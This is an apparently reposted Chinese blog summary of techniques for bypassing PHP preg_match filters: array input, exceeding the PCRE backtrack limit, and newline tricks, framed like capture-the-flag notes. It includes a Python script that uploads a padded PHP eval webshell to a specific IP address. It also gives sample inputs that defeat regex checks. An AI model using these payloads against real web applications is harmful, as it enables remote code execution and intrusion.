preg_match绕过总结
生活随笔
收集整理的這篇文章主要介紹了
preg_match绕过总结
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
preg_match繞過總結(jié)
什么是preg_match
繞過方法
1、數(shù)組繞過
preg_match只能處理字符串,當(dāng)傳入的subject是數(shù)組時會返回false
2、PCRE回溯次數(shù)限制
PHP利用PCRE回溯次數(shù)限制繞過某些安全限制
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
pcre.backtrack_limit給pcre設(shè)定了一個回溯次數(shù)上限,默認(rèn)為1000000,如果回溯次數(shù)超過這個數(shù)字,preg_match會返回false
3、換行符
.不會匹配換行符,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
只需要
$json="
flag"
而在非多行模式下,$似乎會忽略在句尾的%0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
只需要傳入
?a=flag%0a
總結(jié)
以上是生活随笔為你收集整理的preg_match绕过总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。